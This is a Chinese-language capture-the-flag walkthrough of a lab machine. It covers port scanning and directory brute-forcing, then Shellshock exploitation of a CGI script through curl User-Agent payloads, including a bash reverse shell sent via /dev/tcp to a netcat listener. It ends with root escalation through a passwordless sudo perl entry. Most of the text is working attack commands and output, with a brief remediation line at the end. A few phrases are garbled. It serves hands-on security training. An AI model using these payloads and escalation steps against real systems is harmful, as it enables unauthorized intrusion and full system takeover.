一份结构化的专业演练,展示了对严重Shellshock漏洞的识别和手动利用,随后通过Linux目标上配置错误的sudo权限进行本地权限提升。
10.10.10.56/usr/bin/perl)评估从一次快速的全端口TCP SYN扫描开始,仅针对开放端口(--open),同时绕过主机发现(-Pn)和DNS解析(-n),以加速信息收集。
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
初始扫描发现两个活跃服务。我们进行第二次定向扫描,执行主动版本检测(-sCV)和基于脚本的漏洞评估:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
在漏洞扫描的同时,我们使用gobuster启动web目录暴力破解,以映射Apache服务器上的隐藏资源。我们使用来自SecLists框架的标准字典:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
模糊测试过程识别出一个未索引的**/cgi-bin/**目录。在传统web部署中,Apache服务器利用通用网关接口(CGI)执行服务器端脚本。鉴于该机器名称和此文件夹的存在,我们积极寻找可能容易受到环境变量注入缺陷影响的可执行脚本(例如.sh、.cgi)。
进一步枚举发现一个名为user.sh的脚本位于/cgi-bin/目录内。
**Shellshock (CVE-2014-6271)**漏洞允许攻击者通过在处理易受攻击的Bash实例的HTTP请求头(例如User-Agent)中注入恶意函数定义来执行任意操作系统命令。
我们精心构造一个自定义的curl命令,发送一个概念验证(PoC)载荷,旨在强制远程系统执行/usr/bin/id命令:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id命令的输出,验证了类似认证的未认证远程代码执行(RCE)。为了将我们的执行向量升级为交互式会话,我们在攻击平台上建立本地Netcat监听器:
nc -lvnp 4444
接下来,我们在恶意的User-Agent头中注入原生的Bash反向Shell字符串,强制通过TCP回调:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
成功执行后,我们获得一个稳定的低权限Shell:
$ whoami
shelly
在系统上获得一个用户上下文后,我们审计本地限制。我们查询sudo配置,确定shelly用户是否被授权无需提供密码即可执行提升权限的命令:
sudo -l
输出显示以下高风险条目:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
由于我们拥有不受限制、未经身份验证的访问权限,可以以root身份执行**perl二进制文件,因此我们可以轻松突破二进制限制。交叉引用GTFOBins**,我们找到一个执行包装器,指示Perl进入原生系统Shell(/bin/sh)并保留执行身份上下文(root):
sudo -u root perl -e 'exec "/bin/sh"'
我们立即获得完全的管理执行上下文:
# whoami
root
现在我们已经获得了root访问权限,我们导航到相关的家目录以检索攻破证明。
# Access User Flag
cat /home/shelly/user.txt
# Access Root Flag
cat /root/root.txt
sudo无限制地执行强大的内置解释器(如perl、python或bash)会引入即刻的提权向量。Sudo访问应限于非交互式、高度受控的管理脚本。